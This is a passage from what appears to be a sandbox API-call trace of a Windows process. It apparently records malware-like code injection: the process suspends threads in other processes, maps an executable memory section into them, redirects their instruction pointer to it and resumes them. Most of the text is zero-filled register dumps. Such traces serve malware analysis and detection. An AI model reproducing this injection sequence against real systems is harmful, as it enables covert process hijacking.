[258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0401.861] NtResumeThread (in: ThreadHandle=0x20c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0401.861] NtClose (Handle=0x208) returned 0x0 [0401.861] NtClose (Handle=0x20c) returned 0x0 [0401.862] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0x6d8, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x20c) returned 0x0 [0401.862] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0401.862] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0401.862] NtReadVirtualMemory (in: ProcessHandle=0x20c, BaseAddress=0x4c3000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0401.862] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0406.952] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xc1c) | out: ThreadHandle=0x6be92c*=0x208) returned 0x0 [0406.967] NtSuspendThread (in: ThreadHandle=0x208, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0406.967] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x20c, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2490000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0406.972] NtGetContextThread (in: ThreadHandle=0x208, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x6ffcf4, Ebx=0x4c3000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x6ffc9c, Eip=0x7742295c, SegCs=0x23, EFlags=0x206, Esp=0x6ffc84, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0406.972] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x210) returned 0x0 [0406.972] NtMapViewOfSection (in: SectionHandle=0x210, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x148a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5580000, SectionOffset=0x0, ViewSize=0x6be574*=0x149000) returned 0x0 [0406.980] NtMapViewOfSection (in: SectionHandle=0x210, ProcessHandle=0x20c, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x148a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x860000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x149000) returned 0x0 [0407.092] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5580000) returned 0x0 [0407.203] NtClose (Handle=0x210) returned 0x0 [0407.203] NtSetContextThread (ThreadHandle=0x208, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x6ffcf4, Ebx=0x4c3000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x6ffc9c, Eip=0x916927, SegCs=0x23, EFlags=0x206, Esp=0x6ffc84, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0407.203] NtResumeThread (in: ThreadHandle=0x208, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0407.204] NtClose (Handle=0x20c) returned 0x0 [0407.204] NtClose (Handle=0x208) returned 0x0 [0407.205] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xa88, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x208) returned 0x0 [0407.205] NtQueryInformationProcess (in: ProcessHandle=0x208, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0407.206] NtQueryInformationProcess (in: ProcessHandle=0x208, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0407.206] NtReadVirtualMemory (in: ProcessHandle=0x208, BaseAddress=0x7b4000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0407.206] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0412.226] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xa7c) | out: 